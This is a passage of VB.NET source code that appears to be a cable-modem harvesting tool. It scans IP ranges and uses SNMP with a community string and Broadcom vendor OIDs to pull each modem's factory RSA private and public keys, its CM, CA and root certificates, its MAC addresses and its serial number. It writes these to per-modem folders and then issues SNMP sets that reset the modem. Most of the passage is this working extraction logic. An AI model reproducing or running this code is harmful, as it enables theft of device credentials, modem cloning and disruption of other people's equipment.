  2650.                 Dim sOutSpeedu As StreamReader = myProcessspeedu.StandardOutput
  2651.                 Dim sErrSpeedu As StreamReader = myProcessspeedu.StandardError
  2652.                 sspeedu = sOutSpeedu.ReadToEnd()
  2653.                 If Not myProcessspeedu.HasExited Then
  2654.                     myProcessspeedu.Kill()
  2655.                 End If
  2656.                 sInSpeedu.Close()
  2657.                 sOutSpeedu.Close()
  2658.                 sErrSpeedu.Close()
  2659.                 myProcessspeedu.Close()
  2660.                 Dim tempSpeedu As String
  2661.                 tempSpeedu = Replace(check_cannot_find_module(sspeedu), "Gauge32: ", Nothing)
  2662.                 tempSpeedu = Replace(tempSpeedu, "Hex-", Nothing)
  2663.                 tempSpeedu = Replace(tempSpeedu, Chr(34), Nothing)
  2664.  
  2665.  
  2666.                 If tempSpeedd = "No Such Instance currently exists at this OID" Then
  2667.                     'get download speed doccis 1.1 +
  2668.                     Dim myProcessspeedd1 As Process = New Process
  2669.                     Dim sspeedd1 As String
  2670.                     myProcessspeedd1.StartInfo.FileName = "C:\snmpcert\snmpwalk.exe"
  2671.                     myProcessspeedd1.StartInfo.UseShellExecute = False
  2672.                     myProcessspeedd1.StartInfo.CreateNoWindow = True
  2673.                     myProcessspeedd1.StartInfo.RedirectStandardInput = True
  2674.                     myProcessspeedd1.StartInfo.RedirectStandardOutput = True
  2675.                     myProcessspeedd1.StartInfo.RedirectStandardError = True
  2676.                     myProcessspeedd1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2"
  2677.                     myProcessspeedd1.Start()
  2678.  
  2679.  
  2680.                     Dim sInSpeedd1 As StreamWriter = myProcessspeedd1.StandardInput
  2681.                     sInSpeedd1.AutoFlush = True
  2682.                     Dim sOutSpeedd1 As StreamReader = myProcessspeedd1.StandardOutput
  2683.                     Dim sErrSpeedd1 As StreamReader = myProcessspeedd1.StandardError
  2684.                     sspeedd1 = sOutSpeedd1.ReadToEnd()
  2685.                     If Not myProcessspeedd1.HasExited Then
  2686.                         myProcessspeedd1.Kill()
  2687.                     End If
  2688.                     sInSpeedd1.Close()
  2689.                     sOutSpeedd1.Close()
  2690.                     sErrSpeedd1.Close()
  2691.                     myProcessspeedd1.Close()
  2692.                     Dim tempSpeedd1 As String
  2693.                     tempSpeedd1 = Replace(check_cannot_find_module(sspeedd1), "Gauge32: ", Nothing)
  2694.                     tempSpeedd1 = Replace(tempSpeedd1, "Hex-", Nothing)
  2695.                     tempSpeedd1 = Replace(tempSpeedd1, Chr(34), Nothing)
  2696.                     tempSpeedd = tempSpeedd1
  2697.  
  2698.                     Dim testing As String
  2699.                     testing = Replace(tempSpeedd1, vbCrLf, ",")
  2700.                     ''MsgBox(testing)
  2701.                     Dim split As String()
  2702.                     split = testing.Split(",")
  2703.                     tempSpeedd = split(0).ToString
  2704.                     tempSpeedu = split(4).ToString
  2705.                     ''MsgBox(tempSpeedd)
  2706.                     ''MsgBox(tempSpeedu)
  2707.                 End If
  2708.  
  2709.  
  2710.  
  2711.                 Dim oFileSER As System.IO.File
  2712.                 Dim oWriteSER As System.IO.StreamWriter
  2713.                 Dim filedirSER As String = "C:\snmpcert\" & temp & "\" & tempm & "\cminfo.txt"
  2714.                 oWriteSER = oFileSER.CreateText(filedirSER)
  2715.                 oWriteSER.WriteLine("modem's ip was:" & modem_ip & vbCrLf & "mac was : " & tempm & vbCrLf & "usb mac was:" & tempum & vbCrLf & "modem's serial was: " & tempSER & "modem's upload speed was:" & tempSpeedd.ToString & vbCrLf & "modem's download speed was:" & tempSpeedu.ToString)
  2716.                 oWriteSER.Close()
  2717.  
  2718.                 Dim filetodelete As String
  2719.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\ca.cer"
  2720.                 If System.IO.File.Exists(filetodelete) = True Then
  2721.                     System.IO.File.Delete(filetodelete)
  2722.                 End If
  2723.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\CM.cer"
  2724.                 If System.IO.File.Exists(filetodelete) = True Then
  2725.                     System.IO.File.Delete(filetodelete)
  2726.                 End If
  2727.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\private.Key"
  2728.                 If System.IO.File.Exists(filetodelete) = True Then
  2729.                     System.IO.File.Delete(filetodelete)
  2730.                 End If
  2731.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\Public.key"
  2732.                 If System.IO.File.Exists(filetodelete) = True Then
  2733.                     System.IO.File.Delete(filetodelete)
  2734.                 End If
  2735.  
  2736.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\root.key"
  2737.                 If System.IO.File.Exists(filetodelete) = True Then
  2738.                     System.IO.File.Delete(filetodelete)
  2739.                 End If
  2740.  
  2741.  
  2742.  
  2743.  
  2744.  
  2745.  
  2746.  
  2747.                 'get cmFactoryRSAPublicKey.txt
  2748.                 Dim myProcess1 As Process = New Process
  2749.                 Dim s1 As String
  2750.                 myProcess1.StartInfo.FileName = x
  2751.                 myProcess1.StartInfo.UseShellExecute = False
  2752.                 myProcess1.StartInfo.CreateNoWindow = True
  2753.                 myProcess1.StartInfo.RedirectStandardInput = True
  2754.                 myProcess1.StartInfo.RedirectStandardOutput = True
  2755.                 myProcess1.StartInfo.RedirectStandardError = True
  2756.                 myProcess1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.50.0"
  2757.                 myProcess1.Start()
  2758.                 Dim sIn1 As StreamWriter = myProcess1.StandardInput
  2759.                 sIn1.AutoFlush = True
  2760.                 Dim sOut1 As StreamReader = myProcess1.StandardOutput
  2761.                 Dim sErr1 As StreamReader = myProcess1.StandardError
  2762.                 s1 = sOut1.ReadToEnd()
  2763.                 If Not myProcess1.HasExited Then
  2764.                     myProcess1.Kill()
  2765.                 End If
  2766.                 sIn1.Close()
  2767.                 sOut1.Close()
  2768.                 sErr1.Close()
  2769.                 myProcess1.Close()
  2770.                 Dim temp1 As String
  2771.                 temp1 = Replace(check_cannot_find_module(s1), "STRING: ", Nothing)
  2772.                 temp1 = Replace(temp1, "Hex-", Nothing)
  2773.                 temp1 = Replace(temp1, Chr(34), Nothing)
  2774.                 Dim oFile As System.IO.File
  2775.                 Dim oWrite As System.IO.StreamWriter
  2776.                 If File.Exists("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt") Then
  2777.                     File.Delete("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt")
  2778.                 End If
  2779.                 Dim filedir As String = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt"
  2780.                 oWrite = oFile.CreateText(filedir)
  2781.                 oWrite.WriteLine(temp1)
  2782.                 oWrite.Close()
  2783.                 Dim bytelist1 As String()
  2784.                 Dim templist1 As String
  2785.                 templist1 = Replace(temp1, vbCrLf, " ")
  2786.                 templist1 = templist1.Remove(templist1.Length - 1, 1)
  2787.                 templist1 = Replace(templist1, " ", ",")
  2788.                 templist1 = Replace(templist1, ",,", ",")
  2789.                 bytelist1 = Split(templist1, ",")
  2790.                 Dim coutner1 As Integer
  2791.                 coutner1 = 2
  2792.                 Dim countback1 As Integer = bytelist1.Length - 2
  2793.                 Dim countup1 As Integer = 1
  2794.                 Dim watchvar1 As Integer = 0
  2795.                 While countback1 >= 0
  2796.                     If bytelist1(countback1).ToString = "00" AndAlso watchvar1 = 0 Then
  2797.                         countup1 += 1
  2798.                     Else
  2799.                         watchvar1 = 1
  2800.                     End If
  2801.                     countback1 -= 1
  2802.                 End While
  2803.                 While coutner1 < bytelist1.Length - countup1
  2804.                     Dim byteData As Byte = CInt("&H" & bytelist1(coutner1).ToString)
  2805.                     Dim oFileStream1 As System.IO.FileStream
  2806.                     oFileStream1 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\Public.Key", System.IO.FileMode.Append)
  2807.                     oFileStream1.WriteByte(byteData)
  2808.                     oFileStream1.Close()
  2809.                     coutner1 += 1
  2810.                 End While
  2811.                 'get cmFactoryRSAPrivateKey.txt
  2812.                 Dim myProcess2 As Process = New Process
  2813.                 Dim s2 As String
  2814.                 myProcess2.StartInfo.FileName = x
  2815.                 myProcess2.StartInfo.UseShellExecute = False
  2816.                 myProcess2.StartInfo.CreateNoWindow = True
  2817.                 myProcess2.StartInfo.RedirectStandardInput = True
  2818.                 myProcess2.StartInfo.RedirectStandardOutput = True
  2819.                 myProcess2.StartInfo.RedirectStandardError = True
  2820.                 myProcess2.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.51.0"
  2821.                 myProcess2.Start()
  2822.                 Dim sIn2 As StreamWriter = myProcess2.StandardInput
  2823.                 sIn2.AutoFlush = True
  2824.                 Dim sOut2 As StreamReader = myProcess2.StandardOutput
  2825.                 Dim sErr2 As StreamReader = myProcess2.StandardError
  2826.                 s2 = sOut2.ReadToEnd()
  2827.                 If Not myProcess2.HasExited Then
  2828.                     myProcess2.Kill()
  2829.                 End If
  2830.                 sIn2.Close()
  2831.                 sOut2.Close()
  2832.                 sErr2.Close()
  2833.                 myProcess2.Close()
  2834.                 Dim temp2 As String
  2835.                 temp2 = Replace(check_cannot_find_module(s2), "STRING: ", "")
  2836.                 temp2 = Replace(temp2, "Hex-", "")
  2837.                 temp2 = Replace(temp2, Chr(34), "")
  2838.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPrivateKey.txt"
  2839.                 oWrite = oFile.CreateText(filedir)
  2840.                 oWrite.WriteLine(temp2)
  2841.                 oWrite.Close()
  2842.                 Dim bytelist2 As String()
  2843.                 Dim templist2 As String
  2844.                 templist2 = Replace(temp2, vbCrLf, " ")
  2845.                 templist2 = templist2.Remove(templist2.Length - 1, 1)
  2846.                 templist2 = Replace(templist2, " ", ",")
  2847.                 templist2 = Replace(templist2, ",,", ",")
  2848.                 bytelist2 = Split(templist2, ",")
  2849.                 Dim coutner2 As Integer
  2850.                 coutner2 = 2
  2851.                 Dim countback2 As Integer = bytelist2.Length - 2
  2852.                 Dim countup2 As Integer = 1
  2853.                 Dim watchvar2 As Integer = 0
  2854.                 While countback2 >= 0
  2855.                     If bytelist2(countback2).ToString = "00" AndAlso watchvar2 = 0 Then
  2856.                         countup2 += 1
  2857.                     Else
  2858.                         watchvar2 = 1
  2859.                     End If
  2860.                     countback2 -= 1
  2861.                 End While
  2862.                 While coutner2 < bytelist2.Length - countup2
  2863.                     Dim byteData2 As Byte = CInt("&H" & bytelist2(coutner2).ToString)
  2864.                     Dim oFileStream2 As System.IO.FileStream
  2865.                     oFileStream2 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\private.Key", System.IO.FileMode.Append)
  2866.                     oFileStream2.WriteByte(byteData2)
  2867.                     oFileStream2.Close()
  2868.                     coutner2 += 1
  2869.                 End While
  2870.                 'get cmFactoryCMCertificate.txt
  2871.                 Dim myProcess3 As Process = New Process
  2872.                 Dim s3 As String
  2873.                 myProcess3.StartInfo.FileName = x
  2874.                 myProcess3.StartInfo.UseShellExecute = False
  2875.                 myProcess3.StartInfo.CreateNoWindow = True
  2876.                 myProcess3.StartInfo.RedirectStandardInput = True
  2877.                 myProcess3.StartInfo.RedirectStandardOutput = True
  2878.                 myProcess3.StartInfo.RedirectStandardError = True
  2879.                 myProcess3.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.52.0"
  2880.                 myProcess3.Start()
  2881.                 Dim sIn3 As StreamWriter = myProcess3.StandardInput
  2882.                 sIn3.AutoFlush = True
  2883.                 Dim sOut3 As StreamReader = myProcess3.StandardOutput
  2884.                 Dim sErr3 As StreamReader = myProcess3.StandardError
  2885.                 s3 = sOut3.ReadToEnd()
  2886.                 If Not myProcess3.HasExited Then
  2887.                     myProcess3.Kill()
  2888.                 End If
  2889.                 sIn3.Close()
  2890.                 sOut3.Close()
  2891.                 sErr3.Close()
  2892.                 myProcess3.Close()
  2893.                 Dim temp3 As String
  2894.  
  2895.                 temp3 = Replace(check_cannot_find_module(s3), "STRING: ", "")
  2896.                 temp3 = Replace(temp3, "Hex-", "")
  2897.                 temp3 = Replace(temp3, Chr(34), "")
  2898.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCMCertificate.txt"
  2899.                 oWrite = oFile.CreateText(filedir)
  2900.                 oWrite.WriteLine(temp3)
  2901.                 oWrite.Close()
  2902.                 Dim bytelist3 As String()
  2903.                 Dim templist3 As String
  2904.                 templist3 = Replace(temp3, vbCrLf, " ")
  2905.                 templist3 = templist3.Remove(templist3.Length - 1, 1)
  2906.                 templist3 = Replace(templist3, " ", ",")
  2907.                 templist3 = Replace(templist3, ",,", ",")
  2908.                 bytelist3 = Split(templist3, ",")
  2909.                 Dim coutner3 As Integer
  2910.                 coutner3 = 2
  2911.                 Dim countback3 As Integer = bytelist3.Length - 2
  2912.                 Dim countup3 As Integer = 1
  2913.                 Dim watchvar3 As Integer = 0
  2914.                 While countback3 >= 0
  2915.                     If bytelist3(countback3).ToString = "00" And watchvar3 = 0 Then
  2916.                         countup3 += 1
  2917.                     Else
  2918.                         watchvar3 = 1
  2919.                     End If
  2920.                     countback3 -= 1
  2921.                 End While
  2922.                 While coutner3 < bytelist3.Length - countup3
  2923.                     Dim byteData3 As Byte = CInt("&H" & bytelist3(coutner3).ToString)
  2924.                     Dim oFileStream3 As System.IO.FileStream
  2925.                     oFileStream3 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\CM.cer", System.IO.FileMode.Append)
  2926.                     oFileStream3.WriteByte(byteData3)
  2927.                     oFileStream3.Close()
  2928.                     coutner3 = coutner3 + 1
  2929.                 End While
  2930.                 'get cmFactoryCaCertificate.txt
  2931.                 Dim myProcess4 As Process = New Process
  2932.                 Dim s4 As String
  2933.                 myProcess4.StartInfo.FileName = x
  2934.                 myProcess4.StartInfo.UseShellExecute = False
  2935.                 myProcess4.StartInfo.CreateNoWindow = True
  2936.                 myProcess4.StartInfo.RedirectStandardInput = True
  2937.                 myProcess4.StartInfo.RedirectStandardOutput = True
  2938.                 myProcess4.StartInfo.RedirectStandardError = True
  2939.                 myProcess4.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.53.0"
  2940.                 myProcess4.Start()
  2941.                 Dim sIn4 As StreamWriter = myProcess4.StandardInput
  2942.                 sIn4.AutoFlush = True
  2943.                 Dim sOut4 As StreamReader = myProcess4.StandardOutput
  2944.                 Dim sErr4 As StreamReader = myProcess4.StandardError
  2945.                 s4 = sOut4.ReadToEnd()
  2946.                 If Not myProcess4.HasExited Then
  2947.                     myProcess4.Kill()
  2948.                 End If
  2949.                 sIn4.Close()
  2950.                 sOut4.Close()
  2951.                 sErr4.Close()
  2952.                 myProcess4.Close()
  2953.                 Dim temp4 As String
  2954.                 temp4 = Replace(check_cannot_find_module(s4), "STRING: ", "")
  2955.                 temp4 = Replace(temp4, "Hex-", "")
  2956.                 temp4 = Replace(temp4, Chr(34), "")
  2957.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCACertificate.txt"
  2958.                 oWrite = oFile.CreateText(filedir)
  2959.                 oWrite.WriteLine(temp4)
  2960.                 oWrite.Close()
  2961.                 Dim bytelist4 As String()
  2962.                 Dim templist4 As String
  2963.                 templist4 = Replace(temp4, vbCrLf, " ")
  2964.                 templist4 = templist4.Remove(templist4.Length - 1, 1)
  2965.                 templist4 = Replace(templist4, " ", ",")
  2966.                 templist4 = Replace(templist4, ",,", ",")
  2967.                 bytelist4 = Split(templist4, ",")
  2968.                 Dim coutner4 As Integer
  2969.                 coutner4 = 2
  2970.                 Dim countback4 As Integer = bytelist4.Length - 2
  2971.                 Dim countup4 As Integer = 1
  2972.                 Dim watchvar4 As Integer = 0
  2973.                 While countback4 >= 0
  2974.                     If bytelist4(countback4).ToString = "00" And watchvar4 = 0 Then
  2975.                         countup4 = countup4 + 1
  2976.                     Else
  2977.                         watchvar4 = 1
  2978.                     End If
  2979.                     countback4 = countback4 - 1
  2980.                 End While
  2981.                 While coutner4 < bytelist4.Length - countup4
  2982.                     Dim byteData4 As Byte = CInt("&H" & bytelist4(coutner4).ToString)
  2983.                     Dim oFileStream4 As System.IO.FileStream
  2984.                     oFileStream4 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\ca.cer", System.IO.FileMode.Append)
  2985.                     oFileStream4.WriteByte(byteData4)
  2986.                     oFileStream4.Close()
  2987.                     coutner4 = coutner4 + 1
  2988.                 End While
  2989.                 'get cmFactoryRootCertificate.txt
  2990.                 Dim myProcess5 As Process = New Process
  2991.                 Dim s5 As String
  2992.                 myProcess5.StartInfo.FileName = x
  2993.                 myProcess5.StartInfo.UseShellExecute = False
  2994.                 myProcess5.StartInfo.CreateNoWindow = True
  2995.                 myProcess5.StartInfo.RedirectStandardInput = True
  2996.                 myProcess5.StartInfo.RedirectStandardOutput = True
  2997.                 myProcess5.StartInfo.RedirectStandardError = True
  2998.                 myProcess5.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.54.0"
  2999.                 myProcess5.Start()
  3000.                 Dim sIn5 As StreamWriter = myProcess5.StandardInput
  3001.                 sIn5.AutoFlush = True
  3002.                 Dim sOut5 As StreamReader = myProcess5.StandardOutput
  3003.                 Dim sErr5 As StreamReader = myProcess5.StandardError
  3004.                 s5 = sOut5.ReadToEnd()
  3005.                 If Not myProcess5.HasExited Then
  3006.                     myProcess5.Kill()
  3007.                 End If
  3008.                 sIn5.Close()
  3009.                 sOut5.Close()
  3010.                 sErr5.Close()
  3011.                 myProcess5.Close()
  3012.                 Dim temp5 As String
  3013.  
  3014.                 temp5 = Replace(check_cannot_find_module(s5), "STRING: ", "")
  3015.                 temp5 = Replace(temp5, "Hex-", "")
  3016.                 temp5 = Replace(temp5, Chr(34), "")
  3017.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRootCertificate.txt"
  3018.                 oWrite = oFile.CreateText(filedir)
  3019.                 oWrite.WriteLine(temp5)
  3020.                 oWrite.Close()
  3021.                 Dim bytelist5 As String()
  3022.                 Dim templist5 As String
  3023.                 templist5 = Replace(temp5, vbCrLf, " ")
  3024.                 templist5 = templist5.Remove(templist5.Length - 1, 1)
  3025.                 templist5 = Replace(templist5, " ", ",")
  3026.                 templist5 = Replace(templist5, ",,", ",")
  3027.                 bytelist5 = Split(templist5, ",")
  3028.                 Dim coutner5 As Integer
  3029.                 coutner5 = 2
  3030.                 Dim countback5 As Integer = bytelist5.Length - 2
  3031.                 Dim countup5 As Integer = 1
  3032.                 Dim watchvar5 As Integer = 0
  3033.                 While countback5 >= 0
  3034.                     If bytelist5(countback5).ToString = "00" And watchvar5 = 0 Then
  3035.                         countup5 = countup5 + 1
  3036.                     Else
  3037.                         watchvar5 = 1
  3038.                     End If
  3039.                     countback5 = countback5 - 1
  3040.                 End While
  3041.                 While coutner5 < bytelist5.Length - countup5
  3042.                     Dim byteData5 As Byte = CInt("&H" & bytelist5(coutner5).ToString)
  3043.                     Dim oFileStream5 As System.IO.FileStream
  3044.                     oFileStream5 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\root.Key", System.IO.FileMode.Append)
  3045.                     oFileStream5.WriteByte(byteData5)
  3046.                     oFileStream5.Close()
  3047.                     coutner5 = coutner5 + 1
  3048.                 End While
  3049.  
  3050.                 x = "C:\snmpcert\snmpset.exe"
  3051.                 Dim myProcess6 As Process = New Process
  3052.                 Dim s6 As String
  3053.                 myProcess6.StartInfo.FileName = x
  3054.                 myProcess6.StartInfo.UseShellExecute = False
  3055.                 myProcess6.StartInfo.CreateNoWindow = True
  3056.                 myProcess6.StartInfo.RedirectStandardInput = True
  3057.                 myProcess6.StartInfo.RedirectStandardOutput = True
  3058.                 myProcess6.StartInfo.RedirectStandardError = True
  3059.                 myProcess6.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.29.0"
  3060.                 myProcess6.Start()
  3061.                 Dim sIn6 As StreamWriter = myProcess6.StandardInput
  3062.                 sIn6.AutoFlush = True
  3063.                 Dim sOut6 As StreamReader = myProcess6.StandardOutput
  3064.                 Dim sErr6 As StreamReader = myProcess6.StandardError
  3065.                 s6 = sOut6.ReadToEnd()
  3066.                 If Not myProcess6.HasExited Then
  3067.                     myProcess6.Kill()
  3068.                 End If
  3069.                 sIn6.Close()
  3070.                 sOut6.Close()
  3071.                 sErr6.Close()
  3072.                 myProcess6.Close()
  3073.                 Dim myProcess7 As Process = New Process
  3074.                 Dim s7 As String
  3075.                 myProcess7.StartInfo.FileName = x
  3076.                 myProcess7.StartInfo.UseShellExecute = False
  3077.                 myProcess7.StartInfo.CreateNoWindow = True
  3078.                 myProcess7.StartInfo.RedirectStandardInput = True
  3079.                 myProcess7.StartInfo.RedirectStandardOutput = True
  3080.                 myProcess7.StartInfo.RedirectStandardError = True
  3081.                 myProcess7.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.69.1.1.3.0 i 1"
  3082.                 myProcess7.Start()
  3083.                 Dim sIn7 As StreamWriter = myProcess7.StandardInput
  3084.                 sIn7.AutoFlush = True
  3085.                 Dim sOut7 As StreamReader = myProcess7.StandardOutput
  3086.                 Dim sErr7 As StreamReader = myProcess7.StandardError
  3087.                 s7 = sOut7.ReadToEnd()
  3088.                 If Not myProcess7.HasExited Then
  3089.                     myProcess7.Kill()
  3090.                 End If
  3091.                 sIn7.Close()
  3092.                 sOut7.Close()
  3093.                 sErr7.Close()
  3094.                 myProcess7.Close()
  3095.  
  3096.                 Timer1.Enabled = True
  3097.             Catch ex As Exception
  3098.                 Exit Sub
  3099.             End Try
  3100.         End If
  3101.     End Sub
  3102.     Sub check4(ByVal ip0 As Integer, ByVal ip1 As Integer, ByVal ip2 As Integer)
  3103.         Dim modem_ip As String = octet4.ToString & "." & ip0.ToString & "." & ip1.ToString & "." & ip2
  3104.         Dim x = "C:\snmpcert\snmpget.exe"
  3105.         Dim myProcess As Process = New Process
  3106.         Dim s As String = ""
  3107.         myProcess.StartInfo.FileName = x
  3108.         myProcess.StartInfo.UseShellExecute = False
  3109.         myProcess.StartInfo.CreateNoWindow = True
  3110.         myProcess.StartInfo.RedirectStandardInput = True
  3111.         myProcess.StartInfo.RedirectStandardOutput = True
  3112.         myProcess.StartInfo.RedirectStandardError = True
  3113.         myProcess.StartInfo.Arguments = "-v2c -O v -r 2 -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.1.0"
  3114.         myProcess.Start()
  3115.         Dim sIn As StreamWriter = myProcess.StandardInput
  3116.         sIn.AutoFlush = True
  3117.         Dim sOut As StreamReader = myProcess.StandardOutput
  3118.         Dim sErr As StreamReader = myProcess.StandardError
  3119.  
  3120.  
  3121.         s = sOut.ReadToEnd()
  3122.         Dim e As String = sErr.ReadToEnd
  3123.         Console.WriteLine(s)
  3124.         output = e
  3125.         output = s
  3126.         If Not myProcess.HasExited Then
  3127.             myProcess.Kill()
  3128.         End If
  3129.         sIn.Close()
  3130.         sOut.Close()
  3131.         sErr.Close()
  3132.         myProcess.Close()
  3133.         Dim temp As String = ""
  3134.         temp = Replace(check_cannot_find_module(s), "STRING: ", "")
  3135.         temp = Replace(temp, Chr(34), "")
  3136.         If temp = Nothing Then
  3137.             temp = ""
  3138.         Else
  3139.             If temp = "No Such Object available on this agent at this OID" Then
  3140.                 allmodems += 1
  3141.             End If
  3142.             temp = temp.ToString.ToUpper
  3143.             Dim values As String
  3144.             values = temp
  3145.             Dim sites As String() = Nothing
  3146.             sites = values.Split(" ")
  3147.             Dim t As String
  3148.             For Each t In sites
  3149.                 If t = "NO" Then
  3150.                     track = 1
  3151.  
  3152.                 End If
  3153.  
  3154.             Next t
  3155.         End If
  3156.         If temp.ToString = "" Then
  3157.             Timer1.Enabled = True
  3158.             Exit Sub
  3159.         ElseIf track = 1 Then
  3160.             track = 0
  3161.             Timer1.Enabled = True
  3162.             Exit Sub
  3163.         Else
  3164.             total_modems += 1
  3165.  
  3166.             Try
  3167.                 Dim mymac1 As Process = New Process
  3168.                 Dim sm As String
  3169.                 mymac1.StartInfo.FileName = x
  3170.                 mymac1.StartInfo.UseShellExecute = False
  3171.                 mymac1.StartInfo.CreateNoWindow = True
  3172.                 mymac1.StartInfo.RedirectStandardInput = True
  3173.                 mymac1.StartInfo.RedirectStandardOutput = True
  3174.                 mymac1.StartInfo.RedirectStandardError = True
  3175.                 mymac1.StartInfo.Arguments = "-v2c -O v -c " & community_string.ToString & " " & modem_ip.ToString & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.4.0"
  3176.                 mymac1.Start()
  3177.                 Dim sInm As StreamWriter = mymac1.StandardInput
  3178.                 sInm.AutoFlush = True
  3179.                 Dim sOutm As StreamReader = mymac1.StandardOutput
  3180.                 Dim sErrm As StreamReader = mymac1.StandardError
  3181.                 sm = sOutm.ReadToEnd()
  3182.                 If Not mymac1.HasExited Then
  3183.                     mymac1.Kill()
  3184.                 End If
  3185.                 sInm.Close()
  3186.                 sOutm.Close()
  3187.                 sErrm.Close()
  3188.                 mymac1.Close()
  3189.                 Dim tempm As String = ""
  3190.                 tempm = Replace(check_cannot_find_module(sm), "STRING: ", Nothing)
  3191.                 tempm = Replace(tempm, "Hex-", Nothing)
  3192.                 tempm = Replace(tempm, Chr(34), Nothing)
  3193.                 tempm = Replace(tempm, ":", Nothing)
  3194.                 tempm = Replace(tempm, " ", Nothing)
  3195.                 temp = Replace(temp, vbCrLf, Nothing)
  3196.                 tempm = Replace(tempm, vbCrLf, Nothing)
  3197.                 Dim usbmac As Process = New Process
  3198.                 Dim sm1 As String
  3199.                 usbmac.StartInfo.FileName = x
  3200.                 usbmac.StartInfo.UseShellExecute = False
  3201.                 usbmac.StartInfo.CreateNoWindow = True
  3202.                 usbmac.StartInfo.RedirectStandardInput = True
  3203.                 usbmac.StartInfo.RedirectStandardOutput = True
  3204.                 usbmac.StartInfo.RedirectStandardError = True
  3205.                 usbmac.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.60.0"
  3206.                 usbmac.Start()
  3207.                 Dim sInm1 As StreamWriter = usbmac.StandardInput
  3208.                 sInm1.AutoFlush = True
  3209.                 Dim sOutm1 As StreamReader = usbmac.StandardOutput
  3210.                 Dim sErrm1 As StreamReader = usbmac.StandardError
  3211.                 sm1 = sOutm1.ReadToEnd()
  3212.                 If Not usbmac.HasExited Then
  3213.                     usbmac.Kill()
  3214.                 End If
  3215.                 sInm1.Close()
  3216.                 sOutm1.Close()
  3217.                 sErrm1.Close()
  3218.                 usbmac.Close()
  3219.                 Dim tempum As String = ""
  3220.                 tempum = Replace(check_cannot_find_module(sm1), "STRING: ", Nothing)
  3221.                 tempum = Replace(tempum, "Hex-", Nothing)
  3222.                 tempum = Replace(tempum, Chr(34), Nothing)
  3223.                 tempum = Replace(tempum, ":", Nothing)
  3224.                 tempum = Replace(tempum, " ", Nothing)
  3225.                 tempum = Replace(tempum, vbCrLf, Nothing)
  3226.                 Directory.CreateDirectory("C:\snmpcert\" & temp)
  3227.                 Directory.CreateDirectory("C:\snmpcert\" & temp & "\" & tempm)
  3228.                 'get SERIAL number
  3229.                 Dim myProcessSER As Process = New Process
  3230.                 Dim sSER As String
  3231.                 myProcessSER.StartInfo.FileName = x
  3232.                 myProcessSER.StartInfo.UseShellExecute = False
  3233.                 myProcessSER.StartInfo.CreateNoWindow = True
  3234.                 myProcessSER.StartInfo.RedirectStandardInput = True
  3235.                 myProcessSER.StartInfo.RedirectStandardOutput = True
  3236.                 myProcessSER.StartInfo.RedirectStandardError = True
  3237.                 myProcessSER.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.6.0"
  3238.                 myProcessSER.Start()
  3239.                 Dim sInSER As StreamWriter = myProcessSER.StandardInput
  3240.                 sInSER.AutoFlush = True
  3241.                 Dim sOutSER As StreamReader = myProcessSER.StandardOutput
  3242.                 Dim sErrSER As StreamReader = myProcessSER.StandardError
  3243.                 sSER = sOutSER.ReadToEnd()
  3244.                 If Not myProcessSER.HasExited Then
  3245.                     myProcessSER.Kill()
  3246.                 End If
  3247.                 sInSER.Close()
  3248.                 sOutSER.Close()
  3249.                 sErrSER.Close()
  3250.                 myProcessSER.Close()
  3251.                 Dim tempSER As String
  3252.                 tempSER = Replace(check_cannot_find_module(sSER), "STRING: ", Nothing)
  3253.                 tempSER = Replace(tempSER, "Hex-", Nothing)
  3254.                 tempSER = Replace(tempSER, Chr(34), Nothing)
  3255.  
  3256.  
  3257.  
  3258.  
  3259.  
  3260.  
  3261.                 'get download speed
  3262.  
  3263.                 Dim myProcessspeedd As Process = New Process
  3264.                 Dim sspeedd As String
  3265.                 myProcessspeedd.StartInfo.FileName = x
  3266.                 myProcessspeedd.StartInfo.UseShellExecute = False
  3267.                 myProcessspeedd.StartInfo.CreateNoWindow = True
  3268.                 myProcessspeedd.StartInfo.RedirectStandardInput = True
  3269.                 myProcessspeedd.StartInfo.RedirectStandardOutput = True
